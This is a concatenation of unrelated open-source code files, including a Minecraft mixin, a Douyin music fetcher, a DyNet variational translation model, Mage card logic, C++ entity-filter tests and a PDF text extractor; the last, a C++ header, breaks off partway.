<reponame>Blobanium/multiconnect package net.earthcomputer.multiconnect.protocols.v1_16_1.mixin; import net.earthcomputer.multiconnect.impl.MixinHelper; import net.minecraft.entity.data.TrackedData; import net.minecraft.entity.mob.PiglinEntity; import org.spongepowered.asm.mixin.Mixin; import org.spongepowered.asm.mixin.gen.Accessor; @Mixin(PiglinEntity.class) public interface PiglinEntityAccessor { @Accessor("CHARGING") static TrackedData<Boolean> getCharging() { return MixinHelper.fakeInstance(); } }
193
329
// vim: ft=javascript // Apply a range condition together with a string condition to select breweries { "statement": "SELECT VALUE bw FROM breweries bw WHERE bw.geo.lat > 60.0 AND bw.name LIKE '%Brewing%' ORDER BY bw.name", "pretty": true }
77
657
<gh_stars>100-1000 from douyin.config import hot_music_url from douyin.structures import HotMusic from douyin.utils import fetch from douyin.utils.common import parse_datetime from douyin.utils.tranform import data_to_music def music(): """ get hot music result :return: HotMusic object """ result = fetch(hot_music_url) # process json data datetime = parse_datetime(result.get('active_time')) # video_list = result.get('music_list', []) musics = [] music_list = result.get('music_list', []) for item in music_list: music = data_to_music(item.get('music_info', {})) music.hot_count = item.get('hot_value') musics.append(music) # construct HotMusic object and return return HotMusic(datetime=datetime, data=musics)
302
1,131
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. package com.cloud.ovm.hypervisor; import java.util.HashMap; public class OvmHelper { private static final HashMap<String, String> s_ovmMap = new HashMap<String, String>(); public static final String ORACLE_LINUX = "Oracle Linux"; public static final String ORACLE_SOLARIS = "Oracle Solaris"; public static final String WINDOWS = "Windows"; static { s_ovmMap.put("Oracle Enterprise Linux 6.0 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 6.0 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.0 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.0 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.1 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.1 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.2 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.2 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.3 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.3 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.4 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.4 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.5 (32-bit)", ORACLE_LINUX); s_ovmMap.put("Oracle Enterprise Linux 5.5 (64-bit)", ORACLE_LINUX); s_ovmMap.put("Windows 7 (32-bit)", WINDOWS); s_ovmMap.put("Windows 7 (64-bit)", WINDOWS); s_ovmMap.put("Windows Server 2003 (32-bit)", WINDOWS); s_ovmMap.put("Windows Server 2003 (64-bit)", WINDOWS); s_ovmMap.put("Windows Server 2008 (32-bit)", WINDOWS); s_ovmMap.put("Windows Server 2008 (64-bit)", WINDOWS); s_ovmMap.put("Windows Server 2008 R2 (64-bit)", WINDOWS); s_ovmMap.put("Windows 2000 SP4 (32-bit)", WINDOWS); s_ovmMap.put("Windows Vista (32-bit)", WINDOWS); s_ovmMap.put("Windows XP SP2 (32-bit)", WINDOWS); s_ovmMap.put("Windows XP SP3 (32-bit)", WINDOWS); s_ovmMap.put("Sun Solaris 10(32-bit)", ORACLE_SOLARIS); s_ovmMap.put("Sun Solaris 10(64-bit)", ORACLE_SOLARIS); s_ovmMap.put("Sun Solaris 9(Experimental)", ORACLE_SOLARIS); s_ovmMap.put("Sun Solaris 8(Experimental)", ORACLE_SOLARIS); s_ovmMap.put("Sun Solaris 11 (32-bit)", ORACLE_SOLARIS); s_ovmMap.put("Sun Solaris 11 (64-bit)", ORACLE_SOLARIS); } public static String getOvmGuestType(String stdType) { return s_ovmMap.get(stdType); } }
1,351
1,444
<filename>Mage.Sets/src/mage/cards/w/WoodSage.java package mage.cards.w; import mage.MageInt; import mage.MageObject; import mage.abilities.Ability; import mage.abilities.common.SimpleActivatedAbility; import mage.abilities.costs.common.TapSourceCost; import mage.abilities.effects.OneShotEffect; import mage.abilities.effects.common.ChooseACardNameEffect; import mage.abilities.effects.common.RevealLibraryPutIntoHandEffect; import mage.cards.CardImpl; import mage.cards.CardSetInfo; import mage.constants.CardType; import mage.constants.Outcome; import mage.constants.SubType; import mage.constants.Zone; import mage.filter.common.FilterCreatureCard; import mage.filter.predicate.mageobject.NamePredicate; import mage.game.Game; import mage.players.Player; import java.util.UUID; /** * @author LevelX2 */ public final class WoodSage extends CardImpl { public WoodSage(UUID ownerId, CardSetInfo setInfo) { super(ownerId, setInfo, new CardType[]{CardType.CREATURE}, "{G}{U}"); this.subtype.add(SubType.HUMAN); this.subtype.add(SubType.DRUID); this.power = new MageInt(1); this.toughness = new MageInt(1); // {tap}: Name a creature card. Reveal the top four cards of your library and put all of them with that name into your hand. Put the rest into your graveyard. this.addAbility(new SimpleActivatedAbility(new WoodSageEffect(), new TapSourceCost())); } private WoodSage(final WoodSage card) { super(card); } @Override public WoodSage copy() { return new WoodSage(this); } } class WoodSageEffect extends OneShotEffect { public WoodSageEffect() { super(Outcome.DrawCard); this.staticText = "choose a creature card name. Reveal the top four cards of your library " + "and put all of them with that name into your hand. Put the rest into your graveyard"; } public WoodSageEffect(final WoodSageEffect effect) { super(effect); } @Override public WoodSageEffect copy() { return new WoodSageEffect(this); } @Override public boolean apply(Game game, Ability source) { Player controller = game.getPlayer(source.getControllerId()); MageObject sourceObject = source.getSourceObject(game); if (controller == null || sourceObject == null) { return false; } String cardName = ChooseACardNameEffect.TypeOfName.CREATURE_NAME.getChoice(controller, game, source, false); FilterCreatureCard filter = new FilterCreatureCard("all of them with that name"); filter.add(new NamePredicate(cardName)); new RevealLibraryPutIntoHandEffect(4, filter, Zone.GRAVEYARD).apply(game, source); return true; } }
991
1,037
<gh_stars>1000+ from __future__ import print_function import time from collections import defaultdict import random import math import sys import argparse import dynet as dy import numpy as np import pdb # much of the beginning is the same as the text retrieval # format of files: each line is "word1 word2 ..." aligned line-by-line train_src_file = "../data/parallel/train.ja" train_trg_file = "../data/parallel/train.en" dev_src_file = "../data/parallel/dev.ja" dev_trg_file = "../data/parallel/dev.en" test_src_file = "../data/parallel/test.ja" test_trg_file = "../data/parallel/test.en" w2i_src = defaultdict(lambda: len(w2i_src)) w2i_trg = defaultdict(lambda: len(w2i_trg)) def read(fname_src, fname_trg): """ Read parallel files where each line lines up """ with open(fname_src, "r") as f_src, open(fname_trg, "r") as f_trg: for line_src, line_trg in zip(f_src, f_trg): # need to append EOS tags to at least the target sentence sent_src = [w2i_src[x] for x in line_src.strip().split() + ['</s>']] sent_trg = [w2i_trg[x] for x in ['<s>'] + line_trg.strip().split() + ['</s>']] yield (sent_src, sent_trg) # Read the data train = list(read(train_src_file, train_trg_file)) unk_src = w2i_src["<unk>"] eos_src = w2i_src['</s>'] w2i_src = defaultdict(lambda: unk_src, w2i_src) unk_trg = w2i_trg["<unk>"] eos_trg = w2i_trg['</s>'] sos_trg = w2i_trg['<s>'] w2i_trg = defaultdict(lambda: unk_trg, w2i_trg) i2w_trg = {v: k for k, v in w2i_trg.items()} nwords_src = len(w2i_src) nwords_trg = len(w2i_trg) dev = list(read(dev_src_file, dev_trg_file)) test = list(read(test_src_file, test_trg_file)) # DyNet Starts model = dy.Model() trainer = dy.AdamTrainer(model) # Model parameters EMBED_SIZE = 64 HIDDEN_SIZE = 128 BATCH_SIZE = 16 # Especially in early training, the model can generate basically infinitly without generating an EOS # have a max sent size that you end at MAX_SENT_SIZE = 50 # Lookup parameters for word embeddings LOOKUP_SRC = model.add_lookup_parameters((nwords_src, EMBED_SIZE)) LOOKUP_TRG = model.add_lookup_parameters((nwords_trg, EMBED_SIZE)) # Word-level LSTMs LSTM_SRC_BUILDER = dy.LSTMBuilder(1, EMBED_SIZE, HIDDEN_SIZE, model) LSTM_TRG_BUILDER = dy.LSTMBuilder(1, EMBED_SIZE, HIDDEN_SIZE, model) # The MLP parameters to compute mean variance from source output. We use the same hidden size for simplicity. Q_HIDDEN_SIZE = 64 W_mean_p = model.add_parameters((Q_HIDDEN_SIZE, HIDDEN_SIZE)) V_mean_p = model.add_parameters((HIDDEN_SIZE, Q_HIDDEN_SIZE)) b_mean_p = model.add_parameters((Q_HIDDEN_SIZE)) W_var_p = model.add_parameters((Q_HIDDEN_SIZE, HIDDEN_SIZE)) V_var_p = model.add_parameters((HIDDEN_SIZE, Q_HIDDEN_SIZE)) b_var_p = model.add_parameters((Q_HIDDEN_SIZE)) # the softmax from the hidden size W_sm_p = model.add_parameters((nwords_trg, HIDDEN_SIZE)) # Weights of the softmax b_sm_p = model.add_parameters((nwords_trg)) # Softmax bias def reparameterize(mu, logvar): # Get z by reparameterization. d = mu.dim()[0][0] eps = dy.random_normal(d) std = dy.exp(logvar * 0.5) return mu + dy.cmult(std, eps) def mlp(x, W, V, b): # A mlp with only one hidden layer. return V * dy.tanh(W * x + b) def calc_loss(sent): dy.renew_cg() # Transduce all batch elements with an LSTM src = sent[0] trg = sent[1] # initialize the LSTM init_state_src = LSTM_SRC_BUILDER.initial_state() # get the output of the first LSTM src_output = init_state_src.add_inputs([LOOKUP_SRC[x] for x in src])[-1].output() # Now compute mean and standard deviation of source hidden state. W_mean = dy.parameter(W_mean_p) V_mean = dy.parameter(V_mean_p) b_mean = dy.parameter(b_mean_p) W_var = dy.parameter(W_var_p) V_var = dy.parameter(V_var_p) b_var = dy.parameter(b_var_p) # The mean vector from the encoder. mu = mlp(src_output, W_mean, V_mean, b_mean) # This is the diagonal vector of the log co-variance matrix from the encoder # (regard this as log variance is easier for furture implementation) log_var = mlp(src_output, W_var, V_var, b_var) # Compute KL[N(u(x), sigma(x)) || N(0, I)] # 0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2) kl_loss = -0.5 * dy.sum_elems(1 + log_var - dy.pow(mu, dy.inputVector([2])) - dy.exp(log_var)) z = reparameterize(mu, log_var) # now step through the output sentence all_losses = [] current_state = LSTM_TRG_BUILDER.initial_state().set_s([z, dy.tanh(z)]) prev_word = trg[0] W_sm = dy.parameter(W_sm_p) b_sm = dy.parameter(b_sm_p) for next_word in trg[1:]: # feed the current state into the current_state = current_state.add_input(LOOKUP_TRG[prev_word]) output_embedding = current_state.output() s = dy.affine_transform([b_sm, W_sm, output_embedding]) all_losses.append(dy.pickneglogsoftmax(s, next_word)) prev_word = next_word softmax_loss = dy.esum(all_losses) return kl_loss, softmax_loss for ITER in range(100): # Perform training random.shuffle(train) train_words, train_loss, train_kl_loss, train_reconstruct_loss = 0, 0.0, 0.0, 0.0 start = time.time() for sent_id, sent in enumerate(train): kl_loss, softmax_loss = calc_loss(sent) total_loss = dy.esum([kl_loss, softmax_loss]) train_loss += total_loss.value() # Record the KL loss and reconstruction loss separately help you monitor the training. train_kl_loss += kl_loss.value() train_reconstruct_loss += softmax_loss.value() train_words += len(sent) total_loss.backward() trainer.update() if (sent_id + 1) % 1000 == 0: print("--finished %r sentences" % (sent_id + 1)) print("iter %r: train loss/word=%.4f, kl loss/word=%.4f, reconstruction loss/word=%.4f, ppl=%.4f, time=%.2fs" % ( ITER, train_loss / train_words, train_kl_loss / train_words, train_reconstruct_loss / train_words, math.exp(train_loss / train_words), time.time() - start)) # Evaluate on dev set dev_words, dev_loss, dev_kl_loss, dev_reconstruct_loss = 0, 0.0, 0.0, 0.0 start = time.time() for sent_id, sent in enumerate(dev): kl_loss, softmax_loss = calc_loss(sent) dev_kl_loss += kl_loss.value() dev_reconstruct_loss += softmax_loss.value() dev_loss += kl_loss.value() + softmax_loss.value() dev_words += len(sent) trainer.update() print("iter %r: dev loss/word=%.4f, kl loss/word=%.4f, reconstruction loss/word=%.4f, ppl=%.4f, time=%.2fs" % ( ITER, dev_loss / dev_words, dev_kl_loss / dev_words, dev_reconstruct_loss / dev_words, math.exp(dev_loss / dev_words), time.time() - start))
2,949
1,582
import unittest from parsers.lib.exceptions import ParserException class TestParserException(unittest.TestCase): def test_instance(self): exception = ParserException('ESIOS', "Parser exception") self.assertIsInstance(exception, ParserException) self.assertEqual(str(exception), 'ESIOS Parser: Parser exception') def test_instance_with_zone_key(self): exception = ParserException('ESIOS', "Parser exception", "ES") self.assertIsInstance(exception, ParserException) self.assertEqual(str(exception), 'ESIOS Parser (ES): Parser exception') if __name__ == '__main__': unittest.main()
234
414
<gh_stars>100-1000 /// /// anax tests /// An open source C++ entity system. /// /// Copyright (C) 2013-2014 <NAME> (<EMAIL>) /// /// Permission is hereby granted, free of charge, to any person obtaining a copy /// of this software and associated documentation files (the "Software"), to deal /// in the Software without restriction, including without limitation the rights /// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell /// copies of the Software, and to permit persons to whom the Software is /// furnished to do so, subject to the following conditions: /// /// The above copyright notice and this permission notice shall be included in /// all copies or substantial portions of the Software. /// /// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR /// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, /// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE /// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER /// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, /// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN /// THE SOFTWARE. /// #include <lest.hpp> #include <anax/FilterOptions.hpp> #include "Components.hpp" constexpr const unsigned MAXIMUM_AMOUNT_OF_COMPONENT_TYPES_TO_TEST = 4; using namespace anax; using namespace anax::detail; namespace { // I don't think this is possible with functions template <class... Types> struct Assigner { void operator()(ComponentTypeList& list) const; }; template <class Type> struct Assigner<Type> { void operator()(ComponentTypeList& list) const { list[ComponentTypeId<Type>()] = true; } }; template <class Type, class... Types> struct Assigner<Type, Types...> { void operator()(ComponentTypeList& list) const { Assigner<Type>()(list); Assigner<Types...>()(list); } }; template <> struct Assigner<> { void operator()(ComponentTypeList& list) const {} }; template <class... Types> ComponentTypeList createTypeList() { ComponentTypeList temp(MAXIMUM_AMOUNT_OF_COMPONENT_TYPES_TO_TEST); for(size_t i = 0; i < MAXIMUM_AMOUNT_OF_COMPONENT_TYPES_TO_TEST; ++i) temp[i] = false; Assigner<Types...>()(temp); return temp; } } // All possible test cases: // ======================== // 1. requires // - Test for: // => filter should fail // => filter should pass // 2 excludes // - Test for: // => filter should fail // => filter should pass // 3 requires and excludes // - Test for: // => filter should pass // => filter should fail via require // => filter should fail via excludes // => filter should fail via require and excludes // const lest::test specification[] = { CASE("requires (pass)") { auto filter = MakeFilter<Requires<PositionComponent, VelocityComponent>, Excludes<>>(); auto typeList = createTypeList<PositionComponent, VelocityComponent>(); EXPECT(filter.doesPassFilter(typeList) == true); }, CASE("requires (fail)") { auto filter = MakeFilter<Requires<PositionComponent, VelocityComponent>, Excludes<>>(); auto typeList = createTypeList<PlayerComponent>(); EXPECT(filter.doesPassFilter(typeList) == false); }, CASE("excludes (pass)") { auto filter = MakeFilter<Requires<>, Excludes<PositionComponent, VelocityComponent>>(); auto typeList = createTypeList(); EXPECT(filter.doesPassFilter(typeList) == true); }, CASE("excludes (fail via one)") { auto filter = MakeFilter<Requires<>, Excludes<PositionComponent, VelocityComponent>>(); auto typeList = createTypeList<PositionComponent>(); EXPECT(filter.doesPassFilter(typeList) == false); }, CASE("excludes (fail via all)") { auto filter = MakeFilter<anax::Requires<>, Excludes<PositionComponent, VelocityComponent>>(); auto typeList = createTypeList<PlayerComponent, VelocityComponent>(); EXPECT(filter.doesPassFilter(typeList) == false); }, CASE("requires and excludes (pass)") { auto filter = MakeFilter<Requires<PositionComponent, VelocityComponent>, Excludes<PlayerComponent>>(); auto typeList = createTypeList<PositionComponent, VelocityComponent>(); EXPECT(filter.doesPassFilter(typeList) == true); }, CASE("requires and excludes (fail via requires)") { auto filter = MakeFilter<Requires<PositionComponent, VelocityComponent>, Excludes<PlayerComponent>>(); auto typeList = createTypeList<VelocityComponent>(); EXPECT(filter.doesPassFilter(typeList) == false); }, CASE("requires and excludes (fail via excludes)") { auto filter = MakeFilter<Requires<PositionComponent, VelocityComponent>, Excludes<PlayerComponent>>(); auto typeList = createTypeList<VelocityComponent, PositionComponent, PlayerComponent>(); EXPECT(filter.doesPassFilter(typeList) == false); }, CASE("requires and excludes (fail via both)") { auto filter = MakeFilter<Requires<PositionComponent, VelocityComponent>, Excludes<PlayerComponent>>(); auto typeList = createTypeList<PlayerComponent>(); EXPECT(filter.doesPassFilter(typeList) == false); }, }; int main(int argc, char* argv[]) { return lest::run(specification, argc, argv); }
1,969
305
// RUN: %clang -target x86_64 %s -Werror -fpic -fsemantic-interposition -c -### 2>&1 | FileCheck %s // RUN: %clang -target x86_64 %s -Werror -fPIC -fsemantic-interposition -c -### 2>&1 | FileCheck %s // CHECK: "-fsemantic-interposition" /// Require explicit -fno-semantic-interposition to infer dso_local. // RUN: %clang -target x86_64 %s -Werror -fPIC -fsemantic-interposition -fno-semantic-interposition -c -### 2>&1 | FileCheck --check-prefix=EXPLICIT_NO %s // EXPLICIT_NO: "-fno-semantic-interposition" // RUN: %clang -target x86_64 %s -Werror -fsemantic-interposition -c -### 2>&1 | FileCheck --check-prefix=NO %s // RUN: %clang -target x86_64 %s -Werror -fPIC -c -### 2>&1 | FileCheck --check-prefix=NO %s // RUN: %clang -target x86_64 %s -Werror -fPIE -fsemantic-interposition -c -### 2>&1 | FileCheck --check-prefix=NO %s // NO-NOT: "-fsemantic-interposition" // NO-NOT: "-fno-semantic-interposition"
361
4,339
<gh_stars>1000+ /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.spi.systemview.view; import org.apache.ignite.internal.managers.systemview.walker.Filtrable; import org.apache.ignite.internal.managers.systemview.walker.Order; import org.apache.ignite.internal.processors.cache.persistence.freelist.PagesList; /** * Pages-list representation for a {@link SystemView}. */ public class CachePagesListView extends PagesListView { /** Partition id. */ private final int partId; /** * @param pagesList Pages list. * @param bucket Bucket number. * @param partId Partition ID. */ public CachePagesListView(PagesList pagesList, int bucket, int partId) { super(pagesList, bucket); this.partId = partId; } /** * @return Cache group id. */ @Order @Filtrable public int cacheGroupId() { return pagesList.groupId(); } /** * @return Partition id. */ @Order(1) @Filtrable public int partitionId() { return partId; } }
586
7,857
<reponame>TheRakeshPurohit/nodegui #pragma once #include "QtCore/QObject/qobject_macro.h" /* This macro adds common QGraphicsEffect exported methods The exported methods are taken into this macro to avoid writing them in each and every graphicseffect we export. */ #ifndef QGRAPHICSEFFECT_WRAPPED_METHODS_DECLARATION #define QGRAPHICSEFFECT_WRAPPED_METHODS_DECLARATION \ \ QOBJECT_WRAPPED_METHODS_DECLARATION \ \ Napi::Value update(const Napi::CallbackInfo& info) { \ Napi::Env env = info.Env(); \ this->instance->update(); \ return env.Null(); \ } #endif // QGRAPHICSEFFECT_WRAPPED_METHODS_DECLARATION #ifndef QGRAPHICSEFFECT_WRAPPED_METHODS_EXPORT_DEFINE #define QGRAPHICSEFFECT_WRAPPED_METHODS_EXPORT_DEFINE(GraphicsEffectWrapName) \ \ QOBJECT_WRAPPED_METHODS_EXPORT_DEFINE(GraphicsEffectWrapName) \ \ InstanceMethod("update", &GraphicsEffectWrapName::update), #endif // QGRAPHICSEFFECT_WRAPPED_METHODS_EXPORT_DEFINE #ifndef QGRAPHICSEFFECT_SIGNALS #define QGRAPHICSEFFECT_SIGNALS \ \ QOBJECT_SIGNALS \ \ QObject::connect(this, &QGraphicsEffect::enabledChanged, [=](bool enabled) { \ Napi::Env env = this->emitOnNode.Env(); \ Napi::HandleScope scope(env); \ this->emitOnNode.Call({Napi::String::New(env, "enabledChanged"), \ Napi::Boolean::New(env, enabled)}); \ }); #endif // QGRAPHICSEFFECT_SIGNALS
1,311
334
// Auto generated code, do not modify package nxt.http.callers; import nxt.http.APICall; public class GetShufflingParticipantsCall extends APICall.Builder<GetShufflingParticipantsCall> { private GetShufflingParticipantsCall() { super(ApiSpec.getShufflingParticipants); } public static GetShufflingParticipantsCall create() { return new GetShufflingParticipantsCall(); } public GetShufflingParticipantsCall requireLastBlock(String requireLastBlock) { return param("requireLastBlock", requireLastBlock); } public GetShufflingParticipantsCall shuffling(String shuffling) { return param("shuffling", shuffling); } public GetShufflingParticipantsCall requireBlock(String requireBlock) { return param("requireBlock", requireBlock); } }
270
310
{ "name": "HiFive1", "description": "A single board computer.", "url": "https://www.sifive.com/boards/hifive1" }
48
2,542
<reponame>gridgentoo/ServiceFabricAzure<gh_stars>1000+ // ------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License (MIT). See License.txt in the repo root for license information. // ------------------------------------------------------------ #pragma once namespace Data { namespace LoggingReplicator { // // State Provider proxy class that the V1 replicator can use to talk to the logging replicator // ComStateProvider is what the V1 replicator talks to, which in turn converts the com API's to the ktl based API's here // class StateProvider final : public IStateProvider , public KObject<StateProvider> , public KShared<StateProvider> , public Utilities::PartitionedReplicaTraceComponent<Common::TraceTaskCodes::LR> { K_FORCE_SHARED(StateProvider) K_SHARED_INTERFACE_IMP(IStateProvider) K_SHARED_INTERFACE_IMP(IDisposable) public: // // NOTE: Cyclic reference possibility // // V1 replicator has a reference to ComStateProvider to talk to it. // The ComStateProvider needs to keep a reference to this class to convert com api's to ktl api's // This class must reference the loggingreplicatorimpl to do useful work // loggingreplicatorimpl needs to reference v1replicator back again to replicate operations // // This forms a cycle and leads to leaks // // The way the cycle is broken is via the Dispose method that is invoked in the destructor of the TransactionalReplicator as this class is not part of the chain // and is kept alive by the partition keeping the ComTransactionalReplicator object alive // // ComTransactionalReplicator.Test.cpp test case for create and delete found this bug // static IStateProvider::SPtr Create( __in LoggingReplicatorImpl & loggingReplicator, __in KAllocator & allocator); void Dispose() override; HRESULT CreateAsyncOnDataLossContext(__out AsyncOnDataLossContext::SPtr & asyncContext) override; HRESULT CreateAsyncUpdateEpochContext(__out AsyncUpdateEpochContext::SPtr & asyncContext) override; HRESULT GetCopyContext(__out TxnReplicator::IOperationDataStream::SPtr & copyContextStream) override; HRESULT GetCopyState( __in FABRIC_SEQUENCE_NUMBER uptoSequenceNumber, __in TxnReplicator::OperationDataStream & copyContextStream, __out TxnReplicator::IOperationDataStream::SPtr & copyStateStream) override; HRESULT GetLastCommittedSequenceNumber(FABRIC_SEQUENCE_NUMBER * lsn) override; void Test_SetTestHookContext(TestHooks::TestHookContext const &) override; private: StateProvider(__in LoggingReplicatorImpl & loggingReplicator); ktl::Awaitable<NTSTATUS> OnDataLossAsync(__out bool & result); ktl::Awaitable<NTSTATUS> UpdateEpochAsync( __in FABRIC_EPOCH const * epoch, __in LONG64 lastLsnInPreviousEpoch); HRESULT Test_GetInjectedFault(std::wstring const & tag); class AsyncUpdateEpochContextImpl : public AsyncUpdateEpochContext { friend StateProvider; K_FORCE_SHARED(AsyncUpdateEpochContextImpl) public: HRESULT StartUpdateEpoch( __in FABRIC_EPOCH const & epoch, __in FABRIC_SEQUENCE_NUMBER previousEpochLastSequenceNumber, __in_opt KAsyncContextBase * const parentAsyncContext, __in_opt KAsyncContextBase::CompletionCallback callback) override; protected: void OnStart(); private: ktl::Task DoWork(); StateProvider::SPtr parent_; FABRIC_EPOCH epoch_; FABRIC_SEQUENCE_NUMBER previousEpochLastSequenceNumber_; }; class AsyncOnDataLossContextImpl : public AsyncOnDataLossContext { friend StateProvider; K_FORCE_SHARED(AsyncOnDataLossContextImpl) public: HRESULT StartOnDataLoss( __in_opt KAsyncContextBase * const parentAsyncContext, __in_opt KAsyncContextBase::CompletionCallback callback)override; HRESULT GetResult( __out BOOLEAN & isStateChanged)override; protected: void OnStart(); private: ktl::Task DoWork(); StateProvider::SPtr parent_; BOOLEAN isStateChanged_; }; LoggingReplicatorImpl::SPtr loggingReplicatorStateProvider_; // Used for fault injection from FabricTest // TestHooks::TestHookContext testHookContext_; }; } }
2,321
634
/**************************************************************** * Licensed to the Apache Software Foundation (ASF) under one * * or more contributor license agreements. See the NOTICE file * * distributed with this work for additional information * * regarding copyright ownership. The ASF licenses this file * * to you under the Apache License, Version 2.0 (the * * "License"); you may not use this file except in compliance * * with the License. You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, * * software distributed under the License is distributed on an * * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * * KIND, either express or implied. See the License for the * * specific language governing permissions and limitations * * under the License. * ****************************************************************/ package org.apache.james.mailbox.store.search; import java.io.IOException; import java.io.InputStream; import java.nio.charset.StandardCharsets; import java.util.Optional; import org.apache.commons.io.IOUtils; import org.apache.james.mailbox.extractor.ParsedContent; import org.apache.james.mailbox.extractor.TextExtractor; import org.apache.james.mailbox.model.ContentType; import org.apache.james.mailbox.model.ContentType.MimeType; import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.text.PDFTextStripper; import com.google.common.base.Preconditions; import com.google.common.collect.ImmutableMap; public class PDFTextExtractor implements TextExtractor { static final MimeType PDF_TYPE = MimeType.of("application/pdf"); @Override public ParsedContent extractContent(InputStream inputStream, ContentType contentType) throws Exception { Preconditions.checkNotNull(inputStream); Preconditions.checkNotNull(contentType); if (isPDF(contentType)) { return extractTextFromPDF(inputStream); } return new ParsedContent(Optional.ofNullable(IOUtils.toString(inputStream, StandardCharsets.UTF_8)), ImmutableMap.of()); } private boolean isPDF(ContentType contentType) { return contentType.mimeType().equals(PDF_TYPE); } private ParsedContent extractTextFromPDF(InputStream inputStream) throws IOException { return new ParsedContent( Optional.ofNullable(new PDFTextStripper().getText( PDDocument.load(inputStream))), ImmutableMap.of()); } }
1,028
1,444
<reponame>nnadams/mage package mage.cards.e; import mage.MageInt; import mage.abilities.common.DiesCreatureTriggeredAbility; import mage.abilities.common.SacrificePermanentTriggeredAbility; import mage.abilities.effects.keyword.InvestigateEffect; import mage.abilities.effects.keyword.SurveilEffect; import mage.cards.CardImpl; import mage.cards.CardSetInfo; import mage.constants.CardType; import mage.constants.SubType; import mage.constants.SuperType; import mage.filter.FilterPermanent; import mage.filter.common.FilterControlledCreaturePermanent; import mage.filter.predicate.mageobject.AnotherPredicate; import mage.filter.predicate.permanent.TokenPredicate; import java.util.UUID; /** * @author TheElk801 */ public final class EloiseNephaliaSleuth extends CardImpl { private static final FilterPermanent filter = new FilterControlledCreaturePermanent("another creature you control"); private static final FilterPermanent filter2 = new FilterPermanent("a token"); static { filter.add(AnotherPredicate.instance); filter2.add(TokenPredicate.TRUE); } public EloiseNephaliaSleuth(UUID ownerId, CardSetInfo setInfo) { super(ownerId, setInfo, new CardType[]{CardType.CREATURE}, "{3}{U}{B}"); this.addSuperType(SuperType.LEGENDARY); this.subtype.add(SubType.HUMAN); this.subtype.add(SubType.ROGUE); this.power = new MageInt(4); this.toughness = new MageInt(4); // Whenever another creature you control dies, investigate. this.addAbility(new DiesCreatureTriggeredAbility(new InvestigateEffect(1), false, filter)); // Whenever you sacrifice a token, surveil 1. this.addAbility(new SacrificePermanentTriggeredAbility(new SurveilEffect(1), filter2)); } private EloiseNephaliaSleuth(final EloiseNephaliaSleuth card) { super(card); } @Override public EloiseNephaliaSleuth copy() { return new EloiseNephaliaSleuth(this); } }
701
369
/** @file @brief Header @date 2014 @author Sensics, Inc. <http://sensics.com/osvr> */ // Copyright 2014 Sensics, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef INCLUDED_PathElementTools_h_GUID_9246E2D5_1598_409F_BD30_1817FA2C1FB2 #define INCLUDED_PathElementTools_h_GUID_9246E2D5_1598_409F_BD30_1817FA2C1FB2 // Internal Includes #include <osvr/Common/Export.h> #include <osvr/Common/PathElementTypes.h> // Library/third-party includes // - none // Standard includes #include <stddef.h> namespace osvr { namespace common { #ifndef OSVR_DOXYGEN_EXTERNAL namespace detail { struct AliasPriorityWrapper { AliasPriority priority; }; template <typename T> T &&operator<<(T &&os, AliasPriorityWrapper const &wrapper) { switch (wrapper.priority) { case ALIASPRIORITY_MINIMUM: os << "Minimum (" << 